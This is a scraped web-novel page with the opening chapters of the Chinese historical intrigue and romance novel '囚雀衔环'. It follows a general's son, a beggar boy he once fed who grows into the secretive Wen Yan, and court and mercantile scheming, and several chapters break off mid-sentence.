《囚雀衔环》 1. 重逢 《囚雀衔环》全本免费阅读 晌午,柏家府邸的围墙隔绝了城中的喧嚣与繁华,只留一下一下的呼喝声从里面传来。 “手抬高,重心放低!出拳要快!”一个白发苍苍却面带威严的老人举着鞭子,围着男孩走了一圈,“别想着糊弄过去,未来出了城,边境线上所有的将士和匪徒都会将视线集中在你身上,这是你的命……如若没有一身好本事,多锋利的刀在你手中都会是废铁,保不住你的命。” “是,师父!” 男孩咬牙应着,余光却瞥到那桌面上一滴未动的茶水,计上心头,捏着有些可怜的声调叫唤,“可是师父,这天实在太热了,能不能先放我一分钟讨口水喝,保证就一分钟。” 虽还不到盛夏,皇城里的风却已然含着热意拍打在人身上,拍得男孩几乎衣衫湿透;师父也是上了年纪的人,平常再怎么言辞严苛,此刻看着对方汗津津的小脸也不由得有些心软,挥挥手,由着男孩兴高采烈地跑去桌边。 “我瞧着师父说了那么多话,想必肯定也渴了,”男孩倒好两杯茶,又蹬蹬地跑到了老人身边,恭敬地把人请去坐下,“师父也喝。” “臭小子,你要是平时练功再多上心些,我又哪儿能挑出这么些毛病,还要为此多费口舌。” 老人虽嘴上嫌弃,却仍是被这举动暖了心,不疑有他,仰头便喝了个干净。 …… 等到老人斜靠在椅子上,鼾声渐起,男孩才停下了这般装模作样的练功姿势,晃了晃肩颈,干脆利落地跳上了茶桌。 “少爷!”一道童稚的喊声从身后传来,男孩回头,看清来人时才算是松了口气。 “少爷你不能再翻墙出去了,这已经是这个月第三次了,迟早会被大帅抓到的,”男孩看着怯生生的,说出口的话却是没那么守规矩,甚至伸出了手要去拖对方踩在桌上的脚,“我上个月已经因着这事儿陪您挨过两顿打了,这个月要是再来一遭,我这屁股可就要开花了!” 可惜,就这么两三句话的功夫,被称作“少爷”的男孩已经攀上了围墙,闻言笑着回头比了个手势。 “没事的望尘,要是我这次被抓到了,你就说你被我哥叫走了,其余一概不知……放心,我就出门五分钟,你到时候可要记得给我开小门……” 男孩从墙头一跃而下,声音断断续续地顺着风从另一边传来,徒留望尘在墙内瞪着老师父酣睡的模样,急得跺脚。 - “包子!新鲜出炉的包子嘞!” “酸甜可口的糖葫芦!” “糖绘!画得不像不要钱!” …… 男孩落地的姿势不太熟练,侧身跌落在墙外的草坪上,滚了一圈才重新站起身,深吸口气,只觉这街上的空气都比府邸里的好闻,混着数不清的人间烟火气,引人眉开眼笑。 可惜他这次“外出”实在是临时起意,准备得相当不充分,浑身衣衫口袋翻遍也只找到了零碎的几分钱,堪堪够买串街角糖葫芦,付了钱,便只能漫无目的地沿街溜达。 目光所及,皆是三五成群,寒暄近况的平民百姓,整条街的节奏好似就这么惬意地慢了下来。 ——如果他眼力没那么好,发现了缩在包子铺角落的小乞儿的话。 小乞儿已经整整两天没吃上饭了,手脚乃至脸庞上都混着脏兮兮的黑泥,看不真切,却也能从中感受出此人的瘦骨嶙峋——整个人细瘦得宛如随手便能折断丢弃的枯树枝,缩在阴影里,却仍然掩不住那份格格不入。 前来买包子的客人在路过时都会专门绕开他那一亩三分地,带着孩童的妇人们也不由自主地紧紧将自己的孩子护在身前,仿佛对方是什么沾上便摆脱不了的洪水猛兽。 最终包子铺的老板实在忍无可忍,生怕这破烂东西影响自己的生意,便挥着扫帚,在怒骂声中将小乞儿打跑了去。 小乞儿踉跄着走了几步,无处可去,最终在巷子角旁捂着腰,蹲了下来。 他饿得神晕目眩,只觉点点星光洒在眼前,甚至敌过了头顶的烈日和身前突然降下的一大片阴影。 他歪着头回想起来,那整日躲在土坑旁捡剩饭吃的老乞丐曾经跟他说过,这便意味着人要不行了,要回光返照了。 等回光返照完,人也就该走了。 他并不懂什么是“回光返照”,却在此刻懵懂地明白了“走”的含义。 “喂,”神情恍惚间,他看到一个男孩举着串吃了一半的糖葫芦,蹲在他身前,强硬地将冰糖最厚的那面挨在了他的嘴唇上,“别死啊。” 甜的。 小乞儿强忍住想要闭上眼睛的冲动,睫毛微颤,下意识地伸出舌头舔了下嘴唇。 甜丝丝的。 男孩就这么直视着小乞儿的眼睛,半晌才点了点头,将糖葫芦塞在了对方手中。 “没死就好。” 可惜小乞儿根本无暇顾及对方此时说了什么,眼神直勾勾地盯着手中那串糖葫芦。 男孩瞧出了对方的心思:“吃呀,这算我送你的。” 小乞儿这才像是得到了许可,狼吞虎咽起来。 男孩还是第一次见到有人这么吃糖葫芦,觉得新鲜,忍不住笑了两声。 可这笑声在小乞儿听来,含义就又有些不同了。 他知道自己是这街上人人喊打的存在,但凡被他碰过的东西等不到第二天就会被立马丢掉,谁挨了下都会觉着晦气。 这糖葫芦刚才被他舔过,下一秒就被对方嫌弃地塞在他手中,也是理所应当,对方没跟旁人一样,再给上他两脚就已经算是很不错了。 只是嘲笑两声他的窘迫,合该体谅地当作没听见。 “你会说话么?”男孩蹲着半天也没起身,反而是揣着副饶有兴趣的样子问道,“你爹娘呢?” “会,会的,”小乞儿艰难地咽下最后一口,才出声答道,“没爹娘,我是……在街尾的土坑里被捡到的。” 男孩听着,点了点头,又问了些不痛不痒,甚至有些不知所云的话,尽管小乞儿觉得这位好心人实在有些奇怪,也只敢悄悄多打量对方两眼,尽力一一答了问题。 随后男孩望像他的目光多了几分好奇与探究:“你说你是被老乞丐捡的,可我刚才问你诗词,你甚至都能答上两个,这总不能是他教的吧?” 他怎么没听说这皇城里的乞丐还能有如此高的文学涵养。 “不是,”小乞儿实诚地摇了摇头,“这些都是我趴在学堂外面,偷听来的。” 男孩一挑眉:“是么,那你倒是好学。” 小乞儿像是没听出来这话里的嘲讽之意,只一板一眼地说道:“我没饭吃,街上的人们也都不喜欢我,只有学堂的先生偶尔还愿意施舍我半个馒头,为什么不去?” ……这倒也是。 两个小孩就这么面对面地一蹲一坐,在流逝飞快的时间里有一搭没一搭地说着话。 在不知延长了不知多少个五分钟后,男孩才猛然想起自己得赶紧回府,不然要是被他爹抓住,又得挨好一顿痛揍。 于是男孩站起身,简单拍了拍身上的浮灰。 小乞儿便明白对方这是要走了。 “糖葫芦填不饱肚子,等下次再碰着,我给你带两个包子。”男孩见对方也跟着踉跄起身,目光不由得落在了对方的头顶——两人明明一般大,小乞儿却已经矮了他半个头的个子。 “想吃肉的还是素的?或者馒头,花卷……你喜欢哪个?” 小乞儿被这一连串的问题砸懵了,只会站在原地傻愣愣地摇头。直到对方抬腿真要往外走时,才有些怯懦地开了口:“名,名字。” 男孩没听清:“什么?” “我……可以知道你的名字吗?”小乞儿鼓足勇气,又说了一遍。 “询问他人姓名时,也得告知对方自己的名谓。”男孩回头站定,略一拱手,“我名清河,你呢?” 小乞儿没遇见过这郑重的交友情形,并不知晓该如何回礼,只能攥着自己背在身后的小黑手,就这么踌躇半晌,男孩却像是已经没了耐心。 他在这儿对着一个没名字的乞儿摆什么虚礼…… 男孩随即摆摆手:“算了,如果你有名字,等下次见面的时候再告诉我吧。” 说罢,便疾步离开了这小巷。 - 十年晃眼便过,转而又来到了一年盛夏。 “这路上不小心耽搁了片刻,真是久等。”一位身着暗色长袍的男人缓步走入茶馆雅座,举止有礼,倒是让人一点看不出告罪的意思,反而带着几分从容。 “二皇子殿下这话说的,在下也才刚到。”桌子对面的年轻人立马起身弯腰迎接,低头时忍不住勾了勾嘴角,“二皇子日理万机,愿意腾出片刻闲暇来与小辈打交道,已是不胜荣幸。” 唐知理——也就是二皇子,连忙将人扶起,心里这才仔细琢磨起了对方托人传来的帖子和书信。 唐家世代承袭皇位,即使手底下文臣武将更迭无数,也始终保持着将粮仓大权握于手中的习惯——民以食为天,此举便是握住了天下苍生的半个命脉。 而为了确保国家粮马道的正常运转,其间需要打点的人脉自然不计其数。可这些事情,但凡重要一些的,全都归当朝太子唐知文过问,根本分不到他手上,因而在朝堂上始终被处处压了一头,心中早已愤然不平。 如今他已年近三十,分到他手中的,只有邻城的数条偏道,皇城中的诸多大小事务他仍旧无权插手。 他太需要一个证明自己的机会了。 “二皇子此次前来,想必是已经仔细翻阅过在下的提议草案了。”年轻人讲话懒得不绕弯子,直指主题,“不知二皇子意下如何?” “实不相瞒,皇城的粮仓已经变成了太子的一言堂,他为人谨慎,我数次试探皆以失败告终,想要将人手安插在其中,属实不易,”唐知理摇了摇头,“我劝你还是不要太异想天开,若只是为了求财,急功近利实为下策。” 这话中的敲打之意就有些重了。 “是么?”年轻人轻哼一声,俯身靠近了唐知理,“在下深知二皇子瞧不上这份冒进,可您自己走着所谓稳健的法子这么些年,又真的得到什么好处了?” “摊开来讲,如今这皇城内,还有几人真把您二皇子真当回事,明眼人都看得出,这皇位未来必当归有才学又能干的太子所有,而论血亲,三皇子和太子一母同胞,也比您亲近得多……古话说‘比上不足比下有余’,二皇子您倒是左右不沾,时境更为艰难些。” 唐知理此时才在方寸间看清了对方腰间的佩刀,明白对方来者不善,顿时冷汗直冒;又觉得自己明明贵为皇子,却被庶民小辈这般指着鼻子骂得一无是处,血气上涌,冷声道:“你也不过只是个会逞口舌之能的东西,毫无半分实绩就敢来跟我谈生意,分明是儿戏!” “这生意我唐知理不做也罢——开门,我们走!” 唐知理愤然起身,身后侍卫很有眼力见地走向门边,正要拉动门把,就听到背后传来一句语调轻缓的呼唤,和刚才针锋相对的声调判若两人。 “阿言。” 话音未落 2. 阿宋 《囚雀衔环》全本免费阅读 “柏老二,之前也没见你上赶着道歉还非要自报家门的啊,”两方刚走出了几步路,彭景便忍不住问道,“怎么今日跟转性了似的,唱这么一出?” “这就是你不懂了,”柏清河晃了晃手指,故作深沉地说道,“平常那是惹了事怕被我爹教训,这事儿本身性质就不一样;而且你看到他脸没,那小脸,啧……” 不仅生得白净,露出一闪而过的笑意时眼尾还会微微上挑,看着又俏又柔…… “说白了就是瞧对眼了呗,子鹏刚才也看愣了,这人确实长得比阁里的小倌还抓人,”杨桓打趣道,“要不替你去打听打听,看看是谁家的?” “那还是算了,”柏清河摆了摆手,“今个出门是为了彭公子出的,我这档子小事算不了什么,得看缘分。” 彭景被捧了一句,心情甚好:“倒真没看出来,你又在这儿装什么痴情种。” 几人又是一阵笑。 柏清河陪着彭景等人去赌坊里玩了一下午,只可惜时运不济,掏出来的钱全都输了个精光。 “看来我今天是彻底来作陪的了,”柏清河笑着下了牌桌,“老天爷也知道谁是今天的主,赢得不少啊,彭公子。” “沾光,沾光了。”彭景笑得春风得意,他今日手气确实上佳,本金几乎是翻翻的往回赚。不过他倒也不贪,够换个翡翠镯子的钱到手后,也跟着果断下了牌桌。 彭景赢得开心,花钱自然也大方,拉着几人便说等下去青鸢阁的酒钱他请了。 有便宜不占王八蛋,话说到这份上,剩下几人自然是满口答应,又捧了他两句,直给人夸得魂飘。 “哎哟,瞧瞧这是谁来了~”站门口迎客的鸨母一看这阵仗,立马欢天喜地地往外走了两步,又回头朝里面喊,“快,快让宋婉出来,就说贵客到了——几位爷今儿还是去左边的大包厢里玩?那好位置可都给您们留着呢~” “嗯,就老地方,再按人头数再多喊几个来,省得等下兄弟几个说自己光喝酒没人陪,忙到我的阿宋,”彭景走在最前面答道,“还有,今日也换换口味,让阿宋挑她喜欢喝的,拿几瓶到房里来就成。” 让宋小姐挑,可不就是挑贵的拿。 “好嘞~” 接着这么个大单,鸨母瞬间笑得见牙不见眼,立马就吩咐了下去,心想今天可真是好事临门,能狠狠捞一笔。 杨桓在后面掩着嘴低声蛐蛐:“这是要叫宋小姐光陪他的意思,生怕我们给人使唤咯。” “新鲜劲儿,宝贝着呢,”李子鹏接茬道,“等过段时间腻歪了,保准还得换,这都不知道第几个了……” 两人说话声小,彭景走在最前面听不见,柏清河倒是一字不落地听进了耳朵里。 几人刚坐进包厢里,作陪的莺莺燕燕们便立刻裹着香气飘了进来。为首的便是那被指名来,风头正盛的宋小姐,宋婉。 宋婉是两年前进的青鸢阁,刚进阁内并未出什么风浪,也就一直不温不火地做着陪花酒的工作,直到半年前,才慢慢地打出了一番名气——这名气来得也玄,传言当时凡是牌局,点了她的酒客便战无不胜,赌无不赢——点的酒越贵,赢的牌就越大。 当时不知多少名门豪族就为讨个彩头,全都指名要她作陪。鼎盛时期前来相约的客人多到快要把这青鸢阁的门槛给踏破,甚至还出了预约制,业绩直接翻了几翻,最后连鸨母都不得不矮着头,每日跟在她身后忙进忙出。 只可惜,这里是皇城,风月场何等繁华,恨不得每个季度都是一场明争暗斗的大洗牌,洗了两轮,洗出了更为年轻貌美、口舌伶俐的姐儿,再大的风头自然也都降了。 宋婉的手指半藏进粉色衣袖内,一进门便给彭景送了个秋波,扭着腰走了两步,还没等落座,就已经轻巧地把彭景的魂儿给勾走了。 “彭公子~这都多少天没见了,阿宋可是快想死你了~” 宋婉一开口,便是十足的温柔小调,尾音勾得人心里百转千回的痒:“可别是这么快就忘了阿宋,另有新欢了吧~” “哎哟,那哪儿能呢,”彭景伸手揽住对方的腰就往自己怀里带,“我现在这颗心啊,可完全是吊你身上了咯。” 彭景一边说着,一边从怀里拿出了个小木盒子,示意宋婉打开。 宋婉听话地打开盖子,里面赫然是一只成色不错的细翡翠镯子,垫在层层的红布上。 她立马适时地露出了一副惊讶的神情,半晌说不出话,又往彭景的怀里靠了靠。 这反应使得彭景很是受用,禁不住夸口道:“我可是花了好些功夫,到处托人才拿到的,瞧瞧,多衬你的肤色。” “是好看得紧,”宋婉在阁里待久了,见过的收过的饰品数不胜数,一眼便能看出这品质的好坏,更加爱不释手,“彭公子你可真好,快给我戴上~” 柏清河听着这番对话,手中端着酒杯,掩住了唇边勾起的笑意。 这彭景上述所言一句真话也无,全是夸大成分,但送礼么,就是得将过程描述得比实际困难些,才更能显示出送礼人的心意和贵重。 ——例如这翡翠镯子只不过是他们下午顺路进店里买的,如今坐在一堂,却无一人点破这轻描淡写的事实。 彭景握着对方那净如白玉的手,揩油似的捏了好些下,才拿起镯子套在了对方的手腕上。 宋婉又仔细地摸了一圈,脸上的笑容也带上了些真情实意。 这种能戴在身上随时显给人看的饰品就是她们这行最有力的身价标榜。戴着品质好的,这身价和地位自然就会水涨船高,也能让鸨母看在金主的面子上,掂量着多善待几分。 这也是她之前选择透翡翠镯子的口风给彭景的原因之一。 “彭公子对咱们宋小姐是真好啊,前段时间才刚来买过好酒,”一旁跟着陪酒的新人自然忍不住眼红,一边倒酒一边说道,“还在店里说手里紧俏,结果这才没过几天呢,又送来了翡翠……” “这礼源源不断的来,任谁都知道咱们宋小姐得了您的青眼了,可叫人好生羡慕。” “阿宋也纳闷呢,”宋婉看了那新人一眼,接了茬,“当时彭公子您非说手中紧俏,搞得阿宋都没法拿店里新到的好酒招待您,现在想来,难道是当时就准备着要送阿宋这份惊喜了?” “哎哟,我当时可没拿这事儿骗人,”彭景大笑两声,喝了阿宋倒来的酒,“今儿个手气好,想来应该是老天知道我是来看我的宝贝阿宋的,赏了我三分薄面,赢了个盆满钵满,才快马加鞭地买了这镯子送来——阿宋,你这旺人的功力倒是让我切身体会到了,旺夫呢!” 宋婉被拉着亲了一口,满脸羞红:“分明是彭公子您时运好,往后还有得赚呢。” 彭景被喂了好几杯酒,如今也喝得稍微有点上头了,大声道:“这话我爱听!” 柏清河控制着量,没多喝,觉得这局和往常一样忒没意思,便扯了个由头,想赶紧着回家去了。 “这不是离你那门禁时间还早着吗,”李子鹏和一个姐儿看对了眼,也喝了不少,转头就把柏清河之前的嘱咐忘在脑后了,“柏老二,别急着走,再玩会儿啊。” “不了,今日我哥回来,晚饭得回家吃,省得挨骂。”柏清河像是没留意对方的言辞,语气和缓地解释道。 还是杨桓在旁边拍了拍李子鹏的肩膀,比了个手势,对方才意识到自己说漏了嘴。 可想补救已经晚了,这风月场的姐儿们捕风捉影最是迅速,一个嘴快的新人立马问出了口:“门禁?柏二少爷家教竟如此之严么?” “可不,你们什么时候见他在这里留过夜,”彭景脸色泛红,说话也逐渐口无遮拦了起来,“还是个怕被爹骂的毛头小子呢。” 包厢里的姐儿听得 3. 哥哥 《囚雀衔环》全本免费阅读 柏清河回府的时间还算早,坐在房间里百无聊赖地等了会儿,才等到望尘风风火火地跑进来通知。 “少爷,大少爷回来了!” 柏清河闻言,蹭地站起身,跟着望尘一路快步走到前院。 柏青舟坐在轮椅上,身后跟着一个恭敬地推着轮椅的男人,看到柏清河着急忙慌的模样,很识趣地停下了手中的动作。 “慢些,别撞我身上。”柏青舟长着一副世人皆道温文尔雅的皮囊,眉眼间只有三分与柏元帅相似,举手投足间动作轻缓,让人感觉不到任何凌厉之气。 只可惜老天不公,偏生给落了个腿疾,只能靠轮椅度日。 “不会,我收着劲儿呢。”柏清河很自然地绕到轮椅后边,接手了推轮椅的重任。 每到这时,他那毛躁的个性就像是偃旗息鼓般地收了起来,只平稳地走向他哥的院子。 两人身后还分别跟着个侍卫——望洋是他哥的贴身侍卫,望尘则是从小跟柏清河一起长大,性格自然也随了两分,此刻拉着对方叽叽喳喳地说个不停。 望洋只是认真的听着,时不时应两句算是回答。 柏青舟略微放松地靠在轮椅上,随口问道:“近日可好?” “好,还不就那样,”柏清河耸耸肩,“整日里除了在这皇城里吃喝享乐,我哪儿还有什么正经事。” 这时候对自己的认知倒是清晰。 “你年纪不小了,也该放你去处理点实事,否则往后下去只会越来越难以服众,”柏青舟深知自己这弟弟是个什么脾性,笑了一下,“算着日子,下周就该是你的成人礼了,到时候我们再多请些人,你好好认识一下。” “有什么打紧的,要我说,这宴会办不办都成,”柏清河光是想象自己得在那种充满阿谀奉承的宴席上当主角的情形就有些头痛,“反正哥你不是在呢,我觉得在皇城里当个混日子的二世祖,坐等着哪天给我送去边关的日子也不错。” “这话要是被爹听见,你今晚的晚饭就别想好好吃了。”柏青舟摇了摇头,颇有些苦口婆心,“清河,别忘了,世间万物,只有握在自己手里的才是真的。” 柏清河撇了撇嘴,不欲再继续这个话题,心念电转间,突然想起了什么,问道:“哥,这皇城里有没有什么姓温的人家?” “温?”柏青舟低头思索两秒,皇城有头有脸的人物在他脑子里过了一轮,才摇了摇头,“没听说过。” “是么,好吧。”柏清河没再追问,这番模棱两可的态度却反而引起了柏青舟的好奇。 今晚难得柏家全员到齐,围在桌前吃了顿热闹的晚饭。 席间又开始商量他成人礼的具体事宜,被频频点名的柏二少爷简直一个头两个大,最后草草吃完饭就溜回了自己的院子。 皇城内刚进入盛夏没多久,如今又迎来了意料之中的“倒黄梅”,窗外的雨声淅淅沥沥,伴着猎猎风声,吹得窗纸哗啦作响。 柏清河听着动静,只觉今夜怕是要打雷下暴雨。 “望尘,”柏清河朝门外喊了一嗓子,望尘便瞬间出现落在门边,“送个汤婆子去哥哥房里,记得打把结实的伞,别把自己淋着了。” “是。”望尘对这吩咐已经熟门熟路,凡是这种阴雨天,大少爷的腿疾便会发作,疼痛难当,因此人只要在家,柏清河就会三不五时地遣他去送趟汤婆子。 “顺便,明天帮我出去打听一个叫温言的人。”柏清河说着,回忆了下,又添了些细节,才把人放走了。 - “为什么……” 男孩望向扎入自己腹部的尖刀,艰难地抬头看向对面的人,口中含不住的鲜血争先恐后地涌了出来,他却只是抓住了对方的衣领,喃喃道:“为什么……” “对不起,对不起对不起……”被抓住的也只是一个年龄相仿的孩子,他的眼泪蜿蜒而下,声音沙哑,“我只是想要活下去,我没有办法了……我要活下去……” “也许有更好的方法,你不信……” 血呛住了男孩的喉咙,他胸腔起伏,猛得朝外吐了好几口鲜血,身体却顺着墙逐渐倒下,只剩一双带着不甘的眼神,死死地盯着前方——像在看人,又像凝视着这昏暗的一方天地。 “没有方法了,只能死,死了,死了就好了,所有人都死了……”握着尖刀的男孩不敢再跟这双眼睛对视,他偏过头,哽咽着后退,像是在远离什么洪水猛兽,“但我不能死,我……我怕死,我对不起你……” 温言的目光死死盯着那具已经了无生息的尸体,紧咬下唇,像是在极力隐藏自己的存在。 可这潮湿的地板实在是冷,刺得人遍体生寒,他光着脚,身上也只着了一件单衣,根本无法抵御这样的寒冷,再加上精神上的刺激,最终还是没能忍住,剧烈地咳嗽起来。 这动静着实不小,引得男孩回过头来,抹了一把脸上的泪,视线逐渐清明。 他举起刀,指向正从角落里站起身的温言:“死……只要你死了……只有你死了,我才能活着……” 温言深呼吸一口气,在对方挥刀刺来的一瞬间弯下腰,向另一个方向滚去。 他很清醒,死亡的迫近让他从来没有像这一刻般如此冷静,瞬间便意识到自己几乎就是待宰的羔羊,只能左躲右闪,狼狈地避开刺来的刀刃。 可他也不想死。 谁不怕死?他也怕死。 他想活下去。 只想活下去。 温言避无可避,只能抬起左臂进行格挡,刀刃刺破皮肉,溅起的血花绽开在脸上,他却恍若未觉,迅速沉下重心将对方扫倒在地。 刀这样的武器实在重要,他在男孩爬起来之前抢先抓住了对方的手腕,却还是没能阻止刀尖没入肩膀,钻心的痛让他眼前视线模糊了一瞬,却仍未松手,强硬地将对方的腕骨折了过去。 凄厉的惨叫声回荡在牢笼,却没能唤回温言的一丝恻隐之心。 他咬牙拔出肩膀上的利器,像只裹着血炸了毛的囚笼困兽,居高临下地看着对方。 “求求你,求求你别杀我……”两人身份已然对调,男孩很识时务地痛哭流涕了起来,“别杀我,让我做什么都可以,我想活下去……” 温言却已经举起了刀。 “求你了!”男孩 4. 面具 《囚雀衔环》全本免费阅读 “我今日要去跟董家谈点生意,你也跟着来。” 柏青舟大早上便已经穿戴整齐,看起来颇为悠闲地坐在前院里喝茶——一看就知道是逮人的。 正准备出门溜达的柏清河就这么被逮了个正着,有些不情不愿地道:“你去跟董家那老爷子谈生意,我跟着去有什么用,又不能拿刀抵着他的脖子,说敢不答应就宰了你。” “说话收敛一点,别跟着外面吓学,不像话,”柏青舟拿起茶不紧不慢地抿了一口,“而且今天可不是去跟董老爷子谈,是跟董若晴谈。” “董若晴?”柏清河脑子里瞬间记起了昨日那女人拿着折扇的样子,“那我就更没用了,我这人怜香惜玉得很,可不忍心拿刀抵在女人的脖子上。” “我看你手脚麻利,就算脑袋不灵光,好歹还能当个推轮椅的木头使,”柏青舟懒得接柏清河这不着四六的茬,让望洋推着自己向前两步,来到对方面前,“虽然现在董家势力还是董老爷子占着大头,但董若晴思虑周全,又善于察言观色,未来前途不可限量。带你就是想让你早点去见识一下,能学到点什么也是好的。” 柏清河自然是没有告诉他哥,这人他昨天才刚会过面,闻言只能笑着打了个哈哈。 “人董若晴虽然只是个二十来岁的小姑娘,却有着‘才女’的称号,看着就有出息,”柏青舟不轻不重地敲打了柏清河一下,“再看看你,哪有值得让外人可圈可点的地方。” 平白被这么数落一通,柏清河却已经习惯了似的,半点没受影响。眼见着这事无法推辞,便只能抢了望洋的位置,笑呵呵地推着他哥往门外去。 - 天蒙蒙亮,温言才踩着潮湿的空气回了自己的房间,在床上翻来覆去一阵,好不容易眯了半个钟头就醒了,横竖再睡不着,便起床重新洗漱了一遍,决定出门去买点东西。 他住的地方在偏城郊的位置,人烟较为稀少,大清早的甚至连个马车的影都看不着,只好一路跟散步似的,慢悠悠走去了城中一条饱负盛名的小吃街。 这小吃街出名就出名在,从早到晚,街头巷尾的铺子能按着时间换个几轮,卖早点的摊午时便换成了糕点铺,晚上又有可能变成汤面摊,期间还伴着各种零嘴和卖各种小玩意儿的杂摊,有时运气好,甚至能盼来杂耍表演,保准能让人从头到尾的走上几轮也惊喜频出,根本没有腻的可能。 温言时不时就会来这里逛上两圈。 他给自己买了两个肉包子,捏在手里,吹着热气,小口小口地咬,没走几步,又在那卖山楂的摊子处停了脚。 摊主瞬间笑容满面地迎了上来:“哎哟,公子来得可真巧,今日刚上货,这山楂开胃解馋样样都行,要什么有什么……公子要不要来点?” - 柏清河这人最是闲不住,明明这皇城里有名的玩意儿他从小到大一个不落地玩了个遍,走在路上却还是跟个刚进城的小孩儿似的,目光乱转,左顾右盼地瞧。 ——好巧不巧,这一瞧,还真给他瞧到了点好东西。 “哥,你们这谈生意的地方选得还挺接地气,”柏清河的目光在小吃街里巡了一圈,勾起嘴角笑了笑,“这地方我好像已经好久没来了,看着倒还是那么热闹。” “打从你小时候学会翻墙起,这里有哪样东西是你没吃过的,”柏青舟跟着转头看向人声鼎沸的街道,以他对自家弟弟的了解,不过瞬间便想通了对方此言的窍门所在,“别打着歪主意,要真想买东西,等谈完正事再说。” 心中那点小心思被哥哥一戳就破,柏清河干脆也不藏着掖着了,悄悄朝着身后的望洋招招手。 可怜望洋一个老实人,又落着两步的距离,根本没听见这哥俩的对话,哪里能发觉这其中弯弯绕绕的心思,刚收着二少爷的指示上前,手就被强硬地按在了轮椅后面的把手上。 柏青舟虽然看不见背后的小动作,可就着轮椅在交错间的震动,也能猜个八九不离十; 他正要开口说些什么,就被柏清河快人一步地堵了回去:“哥我看到那边有在卖你爱吃的莲蓬,这玩意儿可难买,就早摊有,慢了就没了,我赶紧去多买点咱们带回家分着吃!” 柏青舟看着跟阵风似的跑走的弟弟,又抬头算了眼时间——合着对方在路上一直左顾右盼的磨蹭,就是为了这一刻的临阵逃跑,甚至掐准了时间,知道他不方便迟到,便只能眼睁睁地看着人溜掉…… 臭小子,平常看着不聪明,那点小心思全用在算计他哥身上了! 柏青舟简直要被气笑了,拿对方无法,只能摇了摇头,让望洋推着他继续前进。 柏清河盯着那山楂摊前的身影,跟锁定了耗子的猫似的,三步并作两步地凑了过去。 “温公子~”他捏着腔调,走到温言身边,“可真是好巧,竟然在这儿又碰着了。” 温言偏过头,打量了来人一眼,随即无甚在意地转了回去,朝着摊主指了几个样式:“烦请将这些都包一点。” “好嘞!”摊主欢欢喜喜地从旁边摸出了个袋子,低头装了起来。 柏清河站在旁边,虽然此番被无视让他稍微觉着点尴尬,但他这人浑身上下最大的“优点”就是脸皮厚,这点小挫折根本不算什么。 于是在温言准备付钱的当口,他立即伸手拦了一把,将自己口袋里的钱抢先递了过去。 “温公子,相遇就是缘分,这点小零嘴自然该由我柏老二请你,别客气。” 摊主哪管这些客人间的把戏,柏清河给钱给得快,他自然眉开眼笑,没有一点犹豫地收了。 温言这才又分给对方一个眼神,拎着袋子道:“多谢。” “都说了别客气,”柏清河笑眯眯地跟在温言身后,又路过了几个小摊,但凡温言停下脚步看了会儿的,他全都给买了点拎在手里,倒真有点财大气粗的二世祖样,“还想买点什么,随便挑。” 温言本懒得搭理,想着对方瞧见自己这爱答不理的样子,但凡懂点言下之意的,花钱讨了个没趣也就作罢了——结果柏清河这人根本不按常理出牌,甚至还变本加厉,自己想买的零嘴全被对方给一股脑的截胡了…… 无事献殷勤,非奸即盗。 温言只得停下脚步,面向对方敷衍地拱了下手:“见谅,在下愚钝,不明柏二少爷如此破费之意,请问是有何事所图?” 这话说得,语气还真挺不客气。 柏清河却是心想,真不容易,总算把眼前这人逼得开口了,面上倒是一点不显,笑容不变,打了个马虎眼道:“这话可就折煞我了,我这人能有什么所图,无非是交着个新朋友,想着缘分来了,总该热情些……” “……” 温言素来最烦这种说话一套套的人,皱了皱眉,眼下却不知为何,始终没有开口打断。 也许是拿人手短,只能忍着。 “不过,我倒还真有点疑问,想来找温公子探讨一下,”柏清河嘴里车轱辘话绕了一圈,在对方忍耐的边缘散了会儿步,才总算是绕回了正题,“下周柏家做东,要在鸿鼎酒楼给我办个成人礼,我就想着,既然大家都是朋友,这请帖自然是要妥帖地送到温公子所在的温府才算是合乎礼数。” “结果么,还真遇到个怪事,那跑腿的小厮一回来就跟我说自己没找到门……我便想着,等下次遇着了,问清楚,我再亲自去上门送个请帖。” “温公子,温府的选址还挺特别,要不跟我详细说说,省得我之后再跑错一趟,那可就丢人丢大了。” 没找到门,意思是压根不值从何找起。 柏清河虽然昨日有问过大哥,又找了望尘去收集情报,可他自己却是在今日一大早就被迫出了门,根本没来得及碰上望尘探完消息回来的影子…… 因此,他看着绕来绕去地说了一长段,实际完全就是睁眼说瞎话,满嘴胡编,想要诈一下温言。 温言还真被唬住了,虽然只是短短一瞬间,却还是让柏清河捕捉到了——这法子当真有门! 可惜,温言也并不是什么刚出世的愣头青,虽然卖了个破绽,却也立马轻笑出声,摇了摇头:“家境贫寒,住得自然偏僻,柏二少爷找不到便算了,本也不是个值得贵人落脚的地方。” “见谅,这请帖我算是收到了,只可惜下周没空,”面前这人比温言高了半个头,他不得不稍微仰头才能直视对方,“如果只是为着这事,这些零嘴钱我会在之后转还给柏家的。” 在此之前,柏清河一直以为对方是那种沉默寡言、三棍子打不出一个屁的性子,现如今头一回 5. 玉佩 《囚雀衔环》全本免费阅读 温言拎着东西,脚步轻快地回到了自己的房间。 他关上门,将装着零嘴的几个袋子随意地放在桌上,又忍不住仔细端详了一会儿,才勾起嘴角露出了一个浅笑。 不多时,门外再次传来悦耳的女声:“温公子,主人喊您去书房。” “嗯。” 温言敛了笑意,推开房门,一言不发地跟在女人身后。 年轻人在城郊买的这座宅子并不大,相比于众多面积宽阔的城中府邸而言甚至可以说是毫不起眼,因此倒也成了一个相对隐秘的住所。 而对方显然并不满足于这种流于表面的隐秘,在此基础上层层加码,将地下挖空大半,制作了一个不见天日的“地下府邸”——书房便是其中的一部分。 这条路温言已经走了无数次,等到走下最后一个斜坡,女人便不知从何处拿出一盏点亮的油灯,照亮了漆黑的甬道。 她将温言带至门前,做了个“请”的手势,自己却始终站在外面,等目送温言走进,才贴心地弯腰将门关上,缓步离去。 “阿言来,有正事儿找你。” 年轻人坐在主位,指着面前的桌案上放着一个拆开的信封,其中几页布满字迹的纸张已经被抽了出来。 温言走过去,拿起来看了看。 贾明,男,年三十二,家中独子。 贾家的商铺在皇城内并不多,经过世家的迭代洗礼后仅剩下几间苟延残喘的小酒肆和茶馆,从明面上看,似乎是没什么问题的普通百姓。 只可惜这人心贪,在两年前便有意借世家名头来扩大自己的经营利润,仗着所在店铺的地理位置极好,屡次和几大世家进行交易和谈,却又因其爱贪小便宜,不仅寸步不让利,甚至还想从对方手中分一杯羹而在世家间臭名远扬。 